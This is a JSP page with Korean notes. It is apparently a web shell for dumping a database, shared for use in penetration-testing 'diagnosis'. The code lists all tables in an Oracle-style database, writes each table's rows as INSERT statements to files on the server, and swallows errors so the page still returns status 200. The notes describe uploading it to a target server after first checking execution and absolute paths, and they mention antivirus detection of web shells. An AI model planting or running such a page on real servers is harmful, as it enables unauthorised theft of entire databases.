<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.io.*" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
try {
String backupDir = "/root/test";
String ex="1.txt";
// DB에 맞는 드라이버와 url 아이디 비밀번호 입력
String driver = "";
String url = "";
String username = "DB계정";
String password = "DB비밀번호";
Class.forName(driver);
Connection conn = DriverManager.getConnection(url, username, password);
// Get tables
String sql_tables="select TABLE_NAME from user_tab_comments";
PreparedStatement ps = conn.prepareStatement(sql_tables);
ResultSet rs = ps.executeQuery();
ArrayList<String> tables = new ArrayList<String>();
while (rs.next()) {
tables.add(rs.getString(1));
}
rs.close();
for(int i=0;i<tables.size();i++){
String table=tables.get(i);
out.println("Dumping data for table " + table + "...<br />");
OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(backupDir+table+ex), "UTF-8");
BufferedWriter bw=new BufferedWriter(osw);
String sql="select * from "+table;
PreparedStatement p = conn.prepareStatement(sql);
ResultSet r = p.executeQuery();
ResultSetMetaData rsmeta=r.getMetaData();
while(r.next()){
bw.append("INSERT INTO " + table + " VALUES(");
// JDBC is 1-based, Java is not !?
for (int col = 1; col <= rsmeta.getColumnCount(); col++) {
bw.append("'");
if (r.getString(col) == null)
bw.append("");
else
bw.append(r.getString(col));
if (col == rsmeta.getColumnCount())
bw.append("'");
else
bw.append("', ");
}
bw.append(");");
bw.newLine();
}
bw.flush();
bw.close();
osw.close();
r.close();
}
rs.close();
out.println("backup OK");
conn.close();
} catch (Exception e) {
response.setStatus(200);
e.printStackTrace();
}
out.println("<p><h3>끝 ^_^</h3></p>");
%>
DB커넥터로서의 역할만 한다.
사용하기전 코드 수정을 통해 Oracle, MySql 등에 맞는 드라이버와 연결할 DB에대한 정보를 입력해야한다.
jsp를 실행하게되면 DB 덤프를 가져오게된다.
굉장히 많은 기능을 하는 웹쉘 오픈소스가 많지만
진단을 할 때는 웹 쉘을 업로드하기 전에 꼭 테스트용 서버 사이드 스크립트 파일을 업로드 후
절대경로 파악, 실행이 되는지까지 확인을 먼저 해보는 것이 좋다.
웹쉘코드들은 윈도우에서도 바이러스로 감지하는 파일이고 리스크를 줄이는 것이다.
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